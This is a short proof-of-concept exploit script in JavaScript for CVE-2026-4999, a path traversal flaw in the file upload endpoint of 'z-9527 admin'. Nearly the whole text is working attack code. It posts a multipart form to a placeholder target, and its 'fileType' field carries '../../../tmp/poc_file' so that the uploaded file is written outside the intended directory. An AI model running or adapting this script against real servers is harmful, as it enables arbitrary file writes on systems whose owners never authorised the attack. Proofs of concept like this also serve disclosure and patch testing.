CVE-2026-4999 z-9527 admin路径遍历漏洞

/* * PoC for CVE-2026-4999 (Path Traversal in z-9527 admin) * This script demonstrates how to manipulate the 'fileType' parameter * to achieve path traversal during file upload. */ const axios = require('axios'); const FormData = require('form-data'); async function exploitCVE() { const targetUrl = 'http://target-host/api/upload'; // Replace with actual target URL const form = new FormData(); // Prepare malicious payload // The 'fileType' parameter is vulnerable and accepts path traversal sequences const maliciousFileType = '../../../tmp/poc_file'; // Append dummy file content form.append('file', Buffer.from('CVE-2026-4999 PoC Content'), 'exploit.txt'); // Trigger the vulnerability by manipulating fileType form.append('fileType', maliciousFileType); try { const response = await axios.post(targetUrl, form, { headers: { ...form.getHeaders() } }); console.log('[+] Request sent successfully.'); console.log('[+] Response:', response.data); console.log('[+] If vulnerable, the file may be written to an arbitrary path.'); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploitCVE();